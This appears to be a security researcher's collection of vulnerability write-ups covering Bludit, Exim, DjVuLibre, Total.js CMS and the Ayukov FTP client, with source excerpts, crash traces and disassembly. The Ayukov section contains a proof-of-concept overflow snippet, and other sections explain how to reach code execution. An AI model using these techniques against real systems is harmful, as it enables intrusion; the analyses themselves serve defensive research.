wchen-r7 (173)
Last Login: October 22, 2019
wchen-r7's Contributions (75)
Technical Analysis
CVE-2019-16113 Bludit Directory Traversal Vulnerability
Description
Bludit is a web application written in PHP to build your own website or blog, free and open source. It uses files in JSON format to store the content, so it is configuration-free.
A vulnerability was found in the upload-images.php file, where a remote user could upload a fake image file that is actually a malicious PHP payload, and gain remote code execution.
Technical Analysis
The vulnerable file (upload-images.php) is written as follows:
<?php defined('BLUDIT') or die('Bludit CMS.'); header('Content-Type: application/json'); /* | Upload an image to a particular page | | @_POST['uuid'] string Page uuid | | @return array */ // $_POST // ---------------------------------------------------------------------------- $uuid = empty($_POST['uuid']) ? false : $_POST['uuid']; // ---------------------------------------------------------------------------- // Set upload directory if ($uuid && IMAGE_RESTRICT) { $imageDirectory = PATH_UPLOADS_PAGES.$uuid.DS; $thumbnailDirectory = $imageDirectory.'thumbnails'.DS; if (!Filesystem::directoryExists($thumbnailDirectory)) { Filesystem::mkdir($thumbnailDirectory, true); } } else { $imageDirectory = PATH_UPLOADS; $thumbnailDirectory = PATH_UPLOADS_THUMBNAILS; } $images = array(); foreach ($_FILES['images']['name'] as $uuid=>$filename) { // Check for errors if ($_FILES['images']['error'][$uuid] != 0) { $message = $L->g('Maximum load file size allowed:').' '.ini_get('upload_max_filesize'); Log::set($message, LOG_TYPE_ERROR); ajaxResponse(1, $message); } // Convert URL characters such as spaces or quotes to characters $filename = urldecode($filename); // Move from PHP tmp file to Bludit tmp directory Filesystem::mv($_FILES['images']['tmp_name'][$uuid], PATH_TMP.$filename); // Transform the image and generate the thumbnail $image = transformImage(PATH_TMP.$filename, $imageDirectory, $thumbnailDirectory); if ($image) { $filename = Filesystem::filename($image); array_push($images, $filename); } else { $message = $L->g('File type is not supported. Allowed types:').' '.implode(', ',$GLOBALS['ALLOWED_IMG_EXTENSION']); Log::set($message, LOG_TYPE_ERROR); ajaxResponse(1, $message); } } ajaxResponse(0, 'Images uploaded.', array( 'images'=>$images )); ?>
The first thing that happens is that the code retrieves the “uuid” parameter from a POST request:
$uuid = empty($_POST['uuid']) ? false : $_POST['uuid'];
The uuid is used as part of the image directory path. If the path doesn’t exist, then it will be automatically created:
if ($uuid && IMAGE_RESTRICT) { $imageDirectory = PATH_UPLOADS_PAGES.$uuid.DS; $thumbnailDirectory = $imageDirectory.'thumbnails'.DS; if (!Filesystem::directoryExists($thumbnailDirectory)) { Filesystem::mkdir($thumbnailDirectory, true); }
Next, the code starts uploading the file by accessing the $_FILES
variables. In here, the content of the uploaded item isn’t checked, which means even though the file expects an image file, it doesn’t actually have to be. A malicious PHP payload could be uploaded instead:
foreach ($_FILES['images']['name'] as $uuid=>$filename) { // ... code ...
Finally, the file is moved from PHP’s temp file to a custom tmp directory:
Filesystem::mv($_FILES['images']['tmp_name'][$uuid], PATH_TMP.$filename);
Even though the image upload is uploaded to Bluedit’s tmp directory, you can actually also upload a .htaccess file to allow the PHP payload to be accessed remotely, and gain remote code execution.
Technical Analysis
CVE-2019-16928: Exim EHLO Heap Overflow Vulnerability
Description
Exim is an open source mail transfer agent (MTA) designed for receiving, routing, and delivering email messages. It is mostly installed on Unix-like systems, sometimes Microsoft Windows using Cygwin. As of 2019, approximately 57% of the publicly reachable mail servers on the Internet ran Exim, therefore it is quite a popular software.
A vulnerability was found in Exim by a Chinese security team called QAX A-Team, specifically related to the string_vformat() function not resizing a heap buffer correctly, resulting a heap overflow. Proof-of-concept is publicly available, and remote code execution could be possible. Since Exim has been widely used on the Internet, media attention for the vulnerability was also high. More details about the potential impact can be found the Project Sonar research from Rapid7.
Technical Details
The Bug Report
Initial information about the vulnerability can be traced to a ticket on Exim’s BugZilla system, also known as #2449. In there, we can see that the vulnerability is described as a heap overflow in the string_vformat() function, which can be triggered with a EHLO command. A Python proof-of-concept is also available.
A commit for the fix can also be found under the exim-4.92.2+fixes branch, which is a simple one-line change to the size argument for the gstring_grow
in file string.c:
// string.c:1593 gstring_grow(g, g->ptr, width - (lim - g->ptr)); // Vulnerable version gstring_grow(g, g->ptr, width); // Patched version
Now that the bug seems pretty legit, let’s go ahead and set up a box for debugging purposes.
Vulnerable Setup
The Exim source can be downloaded and compiled on a Unix-based machine. In my case, I set up a Ubuntu 18 box, with the following prepared:
sudo apt update && apt install build-essential clang libdb-dev libperl-dev libsasl2-dev libxt-dev libxaw7-dev
And then I got the 4.92.2 version:
wget http://exim.mirror.colo-serv.net/exim/exim4/old/exim-4.92.2.tar.xz
To build Exim, a Makefile needs to be created, and the easier way is by doing this in the Exim folder (also, remember to set the EXIM_USER option in the file):
cp src/EDITME Local/Makefile && cp exim_monitor/EDITME Local/eximon.conf
For debugging purposes, I compiled Exim as a “PIE” binary with AddressSanitizer:
CC=clang CFLAGS+=" -g -fPIC -fsanitize=address" ASAN_LIBS+="-static-libasan" ASAN_FLAGS+="-fsanitize=address -fno-omit-frame-pointer" FULLECHO='' LFLAGS+="-L/usr/lib/llvm-6.0/lib/clang/6.0.0/lib/linux/ -lasan -pie" ASAN_OPTIONS=detect_leaks=0:symbolize=1 LDFLAGS+=" -lasan -pie -ldl -lm -lcrypt" LD_PRELOAD+="/usr/lib/gcc/x86_64-linux-gnu/7/libasan.so" LIBS+="-lasan -pie" make -e clean all
Note: For some reason, I couldn’t really compile Exim with GCC with AddressSanitizer, and clang ended up being a much easier choice.
After that, the Exim binary can be found in the build-Linux-x86_64
directory. Typically, I prefer to verify that I compiled something correctly (such as PIE and ASAN states), so in this case I used pwntools to check this:
$ python pwntools/pwnlib/commandline/checksec.py exim-4.92.2/build-Linux-x86_64/exim [*] '/home/wchen/Desktop/exim-4.92.2/build-Linux-x86_64/exim' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled ASAN: Enabled
And finally, start Exim as a foreground process:
sudo build-Linux-x86_64/exim -bd -d
Code Analysis
Looking at the bug report, the patched code actually comes from a function called string_vformat
. The purpose of it is to build or append to a custom string object that can automatically grow if necessary, and it is declared this way:
gstring* string_vformat(gstring * g, BOOL extend, const char *format, va_list ap)
The gstring
argument is a custom structure that is defined in the structs.h file as follows (Line 29):
gstring structure (structs.h:29) typedef struct gstring { int size; /* Current capacity of string memory */ int ptr; /* Offset at which to append further chars */ uschar * s; /* The string memory */ } gstring;
The second argument for string_vformat
is a boolean called extend
. This is simply a flag that indicates whether the program wants the gstring to grow or not. And finally, there’s a format
and va_list
argument, which is similar to how sprint
works.
The second argument is an important piece to the puzzle, because the vulnerable code requires it to be true in order to trigger. In this case, the string_vformat
function needs to grow gstring in order to make room for the input that it’s handling, and then the gstring will tell the function which index to begin saving the new input. This idea can be demonstrated as below:
First, let’s say we have allocated a 10-byte buffer. Visually, the 00 (null byte) represents free space:
Index: 0 1 2 3 4 5 6 7 8 9 Buffer: [00 00 00 00 00 00 00 00 00 00]
Initially, let’s also say we already have some data in the buffer, a few “A” characters. At this point, the offset at which to append further chars would be index 5:
* Offset starts at 5 Index: 0 1 2 3 4 5 6 7 8 9 Buffer: [41 41 41 41 41 00 00 00 00 00]
Now, we have a scenario where the new input is a bunch of “B”s that is also 10-byte long:
char* input = "BBBBBBBBBB"; // In hex, these are 42 42 42...
To put that in the buffer, we need to grow it. So in theory what is new size for the adjusted buffer? The math is:
strlen(input) + offset;
After growing the buffer, it should look like this:
* 5 = offset value Index: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 Buffer: [41 41 41 41 41 00 00 00 00 00 00 00 00 00 00]
And finally, we have enough space to store the input:
* 5 = offset value Index: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 Buffer: [41 41 41 41 41 42 42 42 42 42 42 42 42 42 42]
Knowing this concept, it is much easier to understand the vulnerability. The reason of the overflow is because the size calculation is wrong. The gstring_grow
function in Exim simply does not grow enough for gstring, as a result when it is storing the user supplied input from the EHLO command, it overflows, kind of like the following:
* 5 = offset value Index: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 Buffer: [41 41 41 41 41 42 42 42 42 42 42 42 42 42 42] 42 42 42 42 42 ... ^ Overflow
Although the vulnerability requires additional buffer growth, not every call to string_vformat
sets the extend
flag too true. Looking around, it looks like there are many possible ways to trigger it:
- There are at least five functions that directly call
string_vformat
with theextend
flag to true.
- One of them is called
string_fmt_append
, and this function is used by about 56 other places through out the code base.
The scope here would be too time consuming to determine the actual vulnerable path, but we can narrow this down by a lot. All we need to do is figure out when the input enters the code, until when the vulnerable code triggers, then we can look into that code path:
Input ---> Code path to be investigated ---> string_vformat with extend argument to TRUE
In the Exim log, we can get a hint on where the input sort of begins:
70289 SMTP>> 220 ubuntu ESMTP Exim 4.92.2 Fri, 04 Oct 2019 09:21:46 -0700 70289 Process 70289 is ready for new message 70289 smtp_setup_msg entered 70289 SMTP<< EHLO AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Notice that we see a “smtp_setup_msg” message first, and then the EHLO with our input. So if we search for that message and find the function printing it, we have a starting point:
// smtp_in.c:3891 int smtp_setup_msg(void) { int done = 0; BOOL toomany = FALSE; BOOL discarded = FALSE; BOOL last_was_rej_mail = FALSE; BOOL last_was_rcpt = FALSE; void *reset_point = store_get(0); DEBUG(D_receive) debug_printf("smtp_setup_msg entered\n"); // ... code ...
So now, I guess we are looking for this type of code path:
smtp_setup_msg() ---> Code path unknown --> string_vformat(gs, TRUE, format, ap);
This is the very vague version, but in reality the unknown code path is often a rabbit hole. A large codebase such as Exim definitely took me a lot of time to clean up the noises. One way to reverse engineer how point A might get to point B is by using some kind of flow graph. Honestly, I don’t know if there is a good one for C/C++ source code, but you certainly do this with a plugin called AlleyCat from IDA Pro.
This is the graph I got that that shows how smtp_setup_msg()
could get to string_vformat
:
Looking at this graph is kind of like finding a needle in a haystack, but if you use it like a map to aid code analysis, you’re less likely to get lost in the rabbit hole. What’s really funny is that out of this complex map, let me show you the actual path to trigger the vulnerable code:
In the end, we only need to look at three functions:
- smtp_setup_msg() in smtp_in.c
- string_fmt_append in string.c
- string_vformat() in string.c (the vulnerable function)
In order to trigger step 2 (the string_fmt_append function), a user_msg
variable also needs to be null. The user_msg
is set from a function called acl_check()
(in acl.c). The null return value indicates the check returns OK, so that means our HELO needs to fail the ACL check.
Another requirement of the vulnerability is that if Exim is able to look up and resolve an IP address, then it would not trigger. For testing purposes, the easier way to clear your /etc/resolve.conf.
And finally, now with a good understanding of the vulnerable code path, we can verify all this with AddressSanitizer, and this concludes our analysis for CVE-2019-16928:
==56449==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x62500000c598 at pc 0x7f8cd18048f9 bp 0x7ffe0bb4dea0 sp 0x7ffe0bb4d630 WRITE of size 11294 at 0x62500000c598 thread T0 #0 0x7f8cd18048f8 in __interceptor_vsprintf (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x9e8f8) #1 0x7f8cd1804c86 in __interceptor_sprintf (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x9ec86) #2 0x558f99fc796c in string_vformat /home/sinn3r/Desktop/exim-4.92.2/build-Linux-x86_64/string.c:1602 #3 0x558f99df7ee5 in debug_vprintf /home/sinn3r/Desktop/exim-4.92.2/build-Linux-x86_64/debug.c:240 #4 0x558f99df6a3a in debug_printf /home/sinn3r/Desktop/exim-4.92.2/build-Linux-x86_64/debug.c:165 #5 0x558f99ebeb20 in host_build_sender_fullhost /home/sinn3r/Desktop/exim-4.92.2/build-Linux-x86_64/host.c:662 #6 0x558f99f9801a in smtp_setup_msg /home/sinn3r/Desktop/exim-4.92.2/build-Linux-x86_64/smtp_in.c:4178 #7 0x558f99df0236 in handle_smtp_call /home/sinn3r/Desktop/exim-4.92.2/build-Linux-x86_64/daemon.c:504 #8 0x558f99dec11f in daemon_go /home/sinn3r/Desktop/exim-4.92.2/build-Linux-x86_64/daemon.c:2057 #9 0x558f99e5b0e9 in main /home/sinn3r/Desktop/exim-4.92.2/build-Linux-x86_64/exim.c:4670 #10 0x7f8cd0386b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96) #11 0x558f99dc05b9 in _start (/home/sinn3r/Desktop/exim-4.92.2/build-Linux-x86_64/exim+0x1125b9) 0x62500000c598 is located 0 bytes to the right of 9368-byte region [0x62500000a100,0x62500000c598) allocated by thread T0 here: #0 0x7f8cd1844b50 in __interceptor_malloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xdeb50) #1 0x558f99fbb78b in store_malloc_3 /home/sinn3r/Desktop/exim-4.92.2/build-Linux-x86_64/store.c:544 #2 0x558f99fba87c in store_get_3 /home/sinn3r/Desktop/exim-4.92.2/build-Linux-x86_64/store.c:167 #3 0x558f99fbd6f1 in store_newblock_3 /home/sinn3r/Desktop/exim-4.92.2/build-Linux-x86_64/store.c:511 #4 0x558f99fcaab0 in gstring_grow /home/sinn3r/Desktop/exim-4.92.2/build-Linux-x86_64/string.c:1163 #5 0x558f99fc781b in string_vformat /home/sinn3r/Desktop/exim-4.92.2/build-Linux-x86_64/string.c:1597 #6 0x558f99df7ee5 in debug_vprintf /home/sinn3r/Desktop/exim-4.92.2/build-Linux-x86_64/debug.c:240 #7 0x558f99df6a3a in debug_printf /home/sinn3r/Desktop/exim-4.92.2/build-Linux-x86_64/debug.c:165 #8 0x558f99ebeb20 in host_build_sender_fullhost /home/sinn3r/Desktop/exim-4.92.2/build-Linux-x86_64/host.c:662 #9 0x558f99f9801a in smtp_setup_msg /home/sinn3r/Desktop/exim-4.92.2/build-Linux-x86_64/smtp_in.c:4178 #10 0x558f99df0236 in handle_smtp_call /home/sinn3r/Desktop/exim-4.92.2/build-Linux-x86_64/daemon.c:504 #11 0x558f99dec11f in daemon_go /home/sinn3r/Desktop/exim-4.92.2/build-Linux-x86_64/daemon.c:2057 #12 0x558f99e5b0e9 in main /home/sinn3r/Desktop/exim-4.92.2/build-Linux-x86_64/exim.c:4670 #13 0x7f8cd0386b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96) SUMMARY: AddressSanitizer: heap-buffer-overflow (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x9e8f8) in __interceptor_vsprintf Shadow bytes around the buggy address: 0x0c4a7fff9860: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c4a7fff9870: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c4a7fff9880: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c4a7fff9890: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c4a7fff98a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 =>0x0c4a7fff98b0: 00 00 00[fa]fa fa fa fa fa fa fa fa fa fa fa fa 0x0c4a7fff98c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c4a7fff98d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c4a7fff98e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c4a7fff98f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c4a7fff9900: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==56449==ABORTING
References
Technical Analysis
CVE-2019-15142: DjVuLibre UTF8 Out-of-Bound Read Vulnerability
Description
DJVuLibre is an open source library for DjVu, a web-centric format and software platform for distributing documents and images. According to the official site, it is used by many academic, commercial, government, and non-commercial websites around the world.
A vulnerability was found by researcher Hongxu Chen. An out-of-bound read is possible when parsing a DJVU file, resulting a denial-of-service condition.
Technical Details
In DjVmDir::decode
of file DjVmDir.cpp, we have this block of code:
void DjVmDir::decode(const GP<ByteStream> &gstr) { // ... code ... // Line 292 GTArray<char> strings; char buffer[1024]; int length; while((length=bs_str.read(buffer, 1024))) { int strings_size=strings.size(); strings.resize(strings_size+length-1); memcpy((char*) strings+strings_size, buffer, length); } DEBUG_MSG("size of decompressed names block=" << strings.size() << "\n"); if (strings[strings.size()-1] != 0) { int strings_size=strings.size(); strings.resize(strings_size+1); strings[strings_size] = 0; } // Copy names into the files const char * ptr=strings; for(pos=files_list;pos;++pos) { GP<File> file=files_list[pos]; file->id=ptr; // ... code ... }
We start with a custom GTArray named strings
. It is used to store the user-provided byte stream, which we read up to 1024 bytes. While storing, the GTArray buffer gets resized before the data is copied:
GTArray<char> strings; char buffer[1024]; int length; while((length=bs_str.read(buffer, 1024))) { int strings_size=strings.size(); strings.resize(strings_size+length-1); memcpy((char*) strings+strings_size, buffer, length); }
If the char array does not end with a null byte, a null byte is inserted (and size readjusted):
if (strings[strings.size()-1] != 0) { int strings_size=strings.size(); strings.resize(strings_size+1); strings[strings_size] = 0; }
Next, a reference of the GTArray is copied, and then this is used as a file ID according to this line:
file->id=ptr;
The id
member is actually a custom GUTF8String. It overrides the =
operator, which the implementation can be found here:
// Line 2625 in GString.cpp GUTF8String& GUTF8String::operator= (const char *str) { return init(GStringRep::UTF8::create(str)); }
The implementation for create()
can be found here:
// Line 156 in GString.cpp GP<GStringRep> GStringRep::UTF8::create(const char *s) { GStringRep::UTF8 dummy; return dummy.strdup(s); }
The strdup
function isn’t exactly the same as the original strdup
in C/C++, in fact it is custom for UTF8. This is where the problem finally blows up. Although DjVmDir::decode
is aware that a null byte is necessary at the end of the string, it is just a ASCII type null byte terminator, which is only one byte, but that’s not enough for UTF8. In other words, the null byte terminating routine in DjVmDir::decode
does not really work. As a result, an off-by-one out-of-bound read condition could occur, which is proven in the AddressSanitizer bug report by Hongxu Chen:
==14708==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6040000000f1 at pc 0x7fd31456a66e bp 0x7ffc59407e10 sp 0x7ffc594075b8 READ of size 1 at 0x6040000000f1 thread T0 #0 0x7fd31456a66d (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x5166d) #1 0x7fd3141a5d5b in GStringRep::strdup(char const*) const /home/hongxu/FOT/djvulibre/djvu-djvulibre-git/libdjvu/GString.cpp:1017 #2 0x7fd31419f474 in GStringRep::UTF8::create(char const*) /home/hongxu/FOT/djvulibre/djvu-djvulibre-git/libdjvu/GString.cpp:160 #3 0x7fd3141b64fd in GUTF8String::operator=(char const*) /home/hongxu/FOT/djvulibre/djvu-djvulibre-git/libdjvu/GString.cpp:2626 #4 0x7fd314054dbb in DjVmDir::decode(GP<ByteStream> const&) /home/hongxu/FOT/djvulibre/djvu-djvulibre-git/libdjvu/DjVmDir.cpp:315 #5 0x7fd3140c0b54 in display_djvm_dirm /home/hongxu/FOT/djvulibre/djvu-djvulibre-git/libdjvu/DjVuDumpHelper.cpp:172 #6 0x7fd3140c2a64 in display_chunks /home/hongxu/FOT/djvulibre/djvu-djvulibre-git/libdjvu/DjVuDumpHelper.cpp:335 #7 0x7fd3140c2b1f in display_chunks /home/hongxu/FOT/djvulibre/djvu-djvulibre-git/libdjvu/DjVuDumpHelper.cpp:342 #8 0x7fd3140c31f0 in DjVuDumpHelper::dump(GP<ByteStream>) /home/hongxu/FOT/djvulibre/djvu-djvulibre-git/libdjvu/DjVuDumpHelper.cpp:361 #9 0x562f0317dba7 in display(GURL const&) /home/hongxu/FOT/djvulibre/djvu-djvulibre-git/tools/djvudump.cpp:128 #10 0x562f0317e35d in main /home/hongxu/FOT/djvulibre/djvu-djvulibre-git/tools/djvudump.cpp:178 #11 0x7fd3135fbb96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96) #12 0x562f0317d909 in _start (/home/hongxu/FOT/djvulibre/djvu-djvulibre-git/install/bin/djvudump+0x3909) 0x6040000000f1 is located 0 bytes to the right of 33-byte region [0x6040000000d0,0x6040000000f1) allocated by thread T0 here: #0 0x7fd3145f9458 in operator new(unsigned long) (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xe0458) #1 0x7fd31415c17c in GArrayBase::resize(int, int) /home/hongxu/FOT/djvulibre/djvu-djvulibre-git/libdjvu/GContainer.cpp:220 #2 0x7fd31405ede4 in GArrayTemplate<char>::resize(int) /home/hongxu/FOT/djvulibre/djvu-djvulibre-git/libdjvu/GContainer.h:496 #3 0x7fd314054aff in DjVmDir::decode(GP<ByteStream> const&) /home/hongxu/FOT/djvulibre/djvu-djvulibre-git/libdjvu/DjVmDir.cpp:298 #4 0x7fd3140c0b54 in display_djvm_dirm /home/hongxu/FOT/djvulibre/djvu-djvulibre-git/libdjvu/DjVuDumpHelper.cpp:172 #5 0x7fd3140c2a64 in display_chunks /home/hongxu/FOT/djvulibre/djvu-djvulibre-git/libdjvu/DjVuDumpHelper.cpp:335 #6 0x7fd3140c2b1f in display_chunks /home/hongxu/FOT/djvulibre/djvu-djvulibre-git/libdjvu/DjVuDumpHelper.cpp:342 #7 0x7fd3140c31f0 in DjVuDumpHelper::dump(GP<ByteStream>) /home/hongxu/FOT/djvulibre/djvu-djvulibre-git/libdjvu/DjVuDumpHelper.cpp:361 #8 0x562f0317dba7 in display(GURL const&) /home/hongxu/FOT/djvulibre/djvu-djvulibre-git/tools/djvudump.cpp:128 #9 0x562f0317e35d in main /home/hongxu/FOT/djvulibre/djvu-djvulibre-git/tools/djvudump.cpp:178 #10 0x7fd3135fbb96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
It seems the vulnerability falls under the local attack category, therefore an out-of-bound read type vulnerability would not be directly threatening to the system. In our case specifically, it looks like the extra read would actually cause a crash somewhere in the decode()
function.
Technical Analysis
CVE-2019-15954: Total.js CMS 12 Widget Remote Code Execution
Introduction
Total.js is a Node.js Framework for building e-commerce applications, REST services, real-time apps, or apps for Internet of Things (IoT), etc. Total.js CMS is a Content Management System (application) that is part of the Total.js framework. A commercial version is also available, and can be seen used world-wide.
In Total.js CMS, a user with admin permission may be able to create a widget, and extend CMS functionalities for visitors. However, this can also be abused to upload JavaScript code that will be evaluated server side. As a result, it is possible to embed malicious JavaScript in the new widget, and gain remote code execution.
Technical Analysis
In the CVE advisory, we know that the vulnerability is associated with widget creation, so this is where we start the analysis. To do this, I looked for the keyword “New widget” because that is on the widget creation page, and very quickly I found the HTML page for that, as well as the JavaScript located at:
- cms/themes/admin/public/forms/widgets.html
- cms/schemas/widgets.js
The widgets.html file is what you actually look at when you’re adding a new widget from the GUI. After filling out the fields, you would click on the “Save” button, which in HTML is this:
<button name="submit">@(SAVE)</button>
And the button function is handled by the following code:
exports.submit = function(com) { SETTER('loading', 'show'); AJAX('POST [url]api/widgets/ REPEAT', GETR('widgets.form'), function(response) { SETTER('loading', 'hide', 1000); if (response.success) { SETTER('snackbar', 'success', '@(Widget has been saved successfully.)'); EXEC('widgets/refresh'); com.hide(); } }); };
The following URI is important because it tells us the route:
AJAX('POST [url]api/widgets/ REPEAT' ...
The route map can be found in admin.js, and our code indicates we are looking at this route:
// MODEL: /schema/widgets.js // ... Other routes ... ROUTE('POST #admin/api/widgets/ *Widget --> @save'); // ... Other routes...
The JavaScript comment actually reveals which JS file is responsible for the widgets routes, so clearly we need to be looking at widgets.js. The route also indicates we should be looking at a save
function, which links to setSave
, which starts the saving process.
During the saving process, it goes through a refreshing stage (in the refresh
function). Although there is a lot going on, the most interesting line is this:
var obj = compile(item.body); // Line 309 (widgets.js)
The compile
function parses the source code for the new widget. Apparently, the JavaScript tag is a bit customized, for example, this isn’t the standard JavaScript tag prefix, it is more specific to Total.JS:
var body = html.substring(beg, end); var beg = body.indexOf('>') + 1; var type = body.substring(0, beg); body = body.substring(beg); raw = raw.replace(type + body + '</script>', ''); body = body.trim(); if (type.indexOf('html') !== -1 || type.indexOf('plain') !== -1) body_template = body; else if (type.indexOf('total') !== -1 || type.indexOf('totaljs') !== -1) body_total = body; else if (type.indexOf('editor') !== -1) body_editor = body; else body_script = body;
After parsing, the code could be stored in a few different ways. Specifically we want to watch where these are going in code:
// Around line 258 in widgets.js obj.js = body_script; // ... code ... obj.editor = body_editor; // ... code ... obj.template = body_template; // ... code ... obj.total = body_total; // ... code ...
So that’s pretty much for the compile
function, and back to the refresh
function. Now that we have the parsed code, let’s see what refresh
is doing with the object members we’re interested in watching. Well, there are some interesting ones, for example, this is what happens to obj.total
:
if (obj.total) { var o = new WidgetInstace(); try { (new Function('exports', obj.total))(o); } catch (e) { WARNING.message = 'Widget <b>{0}</b> exception: <b>{1}</b>'.format(item.name, e.message); ADMIN.notify(WARNING); } obj.total = o; rebuild = true; }
As you can see here, if we have a JavaScript code block that starts like this:
<script total> // ... something ... </script>
Then that code goes to obj.total
, and that gets executed as a new function. To mimic that code execution, open up the Developer’s Tools in your browser, enter the following (which is basically what the code above is doing):
function WidgetInstance() {} var o = new WidgetInstance(); (new Function('exports', 'console.log("Hello World!");'))(o);
And you should see that console.log
is executed (which represents the user-provided script):
> function WidgetInstance() {} var o = new WidgetInstance(); (new Function('exports', 'console.log("Hello World!");'))(o); > VM33:3 Hello World!
Technical Analysis
Details
Ayukov is an FTP client that was written by Sergey Ayukov back in 1994. Development stopped in 2011, and it is vulnerable to a stack-based buffer overflow vulnerability due to the way it handles the server input. The exploit was tested on Windows XP SP3 (English).
PoC
Here’s an example of how to crash the FTP client:
# Let the client log in client.get_once user = "331 OK.\r\n" client.put(user) client.get_once pass = "230 OK.\r\n" client.put(pass) sploit = "A"*4116 sploit << [target.ret].pack('V') # JMP ESP here sploit << "\x90"*16 sploit << payload.encoded sploit << "C" * (15000 - 4116 - 4 - 16 - payload.encoded.length) sploit << "\r\n" client.put(sploit) client.get_once pwd = "257\r\n" client.put(pwd) client.get_once
Root Cause Analysis
When serving the PoC against the vulnerable app, the client’s command prompt shows:
12:28:43 331 OK. 12:28:43 USER anonymous 12:28:43 230 OK. 12:28:43 Successfully logged in as 'anonymous@192.168.0.12' 12:28:43 SYST 12:28:43 .................. Lots of AAAAAs here ..................... 12:28:43 TYPE I 12:28:43 257
The interesting part here is that when the client sends a SYST
request, the server responds
with a long string of data attempting to cause a crash. This would be a good starting point to
investigate the root cause.
With IDA Pro, we can tell that the SYST
string is at the following location:
.text:004096B6 ; char aSyst[] .text:004096B6 aSyst db 'SYST',0 ; DATA XREF: sub_409978+B8Co
When we cross reference, we can tell this is used by the OpenControlConnection
function.
Although there is no symbol to identify the actual function name “OpenControlConnection”, the
debugging message at the beginning of the function is a big hint:
int __usercall OpenControlConnection@<eax>(int a1@<ebx>, int a2@<edi>, int a3@<esi>) { sub_45AF40(savedregs); *(_DWORD *)&name.sa_data[10] = a2; *(_DWORD *)&name.sa_data[6] = a3; *(_DWORD *)&name.sa_data[2] = a1; if ( !dword_477AEC ) sub_419B4C(1); while ( 1 ) { while ( 1 ) { do { sub_403484("begin OpenControlConnection()\n", charResBuffer[4088]); ...
Anyway, inside the OpenControlConnection function, we can see that the SYST
command is
requested here for SendFTPRequest (no symbol of clue of the name, I just decided to name it this
way):
.text:0040A504 push offset aSyst ; "SYST" .text:0040A509 lea eax, [ebp+charResBuffer] .text:0040A50F push eax ; charResBuffer .text:0040A510 lea eax, [ebp+args] .text:0040A516 push eax ; int .text:0040A517 push 0 ; int .text:0040A519 call SendFTPRequest
Inside the SendFTPRequest function, it looks like this:
int SendFTPRequest(int a1, int arg_4, char *charResBuffer, char *Format, ...) { char *v4; // ebx@0 int v5; // edi@0 int v6; // esi@0 char *v7; // edx@1 char Dst[16384]; // [esp+18h] [ebp-4000h]@2 char *savedregs; // [esp+4018h] [ebp+0h]@1 va_list va; // [esp+4030h] [ebp+18h]@1 va_start(va, Format); sub_45AF40(savedregs); savedregs = v4; v7 = Format; if ( Format ) { v4 = Dst; // This actually checks the input for the FTP command from the client. // The 0x4000u indicates the string should not be longer than that, otherwise // there will be a buffer overflow warning in this function. snprintf1(Dst, 0x4000u, Format, va); v7 = Dst; } return SendReceive((int)v4, v5, v6, a1, arg_4, charResBuffer, v7); }
We were able to tell the second argument for SendFTPRequest
is actually a buffer for receiving
the server’s response, because the way it is used:
result = SendFTPRequest(0, (int)args, charResBuffer, "SYST"); if ( result == -4 ) return result; if ( result ) goto LABEL_231; if ( *(_DWORD *)args == 2 ) { sub_445CEC(charResBuffer); if ( strstr(charResBuffer, "unix") ) { if ( strstr(charResBuffer, "powerweb") ) { *(_DWORD *)dword_47B1E0 = 6; goto LABEL_206; } } ...
In addition, this buffer is actually on the stack, and it’s 4096 long:
-00001010 charResBuffer db 4096 dup(?)
This means that if the server responds with something longer than 4096 bytes for the SYST
request,
the data may corrupt the stack, and cause a stack-based buffer overflow. At the end of
OpenControlConnection
, the RETN
ends up loading the corrupt data, which may lead to
arbitrary code execution:
.text:0040AC39 lea esp, [ebp-2048h] .text:0040AC3F pop ebx .text:0040AC40 pop esi .text:0040AC41 pop edi .text:0040AC42 leave .text:0040AC43 retn
Since whoever is using SendFTPRequest
is responsible for providing the buffer of the server
response, and there are 47 other cross-references, it is possible there are different ways to
trigger the same bug. However, since it doesn’t look like there is a patch (because the product
is no longer in active development, from the exploit developer’s perspective, it is not necessary
to look for other ways to exploit it).
Technical Analysis
- In fact, doesn’t seem like the user should be authenticated at all. Looking at this request:
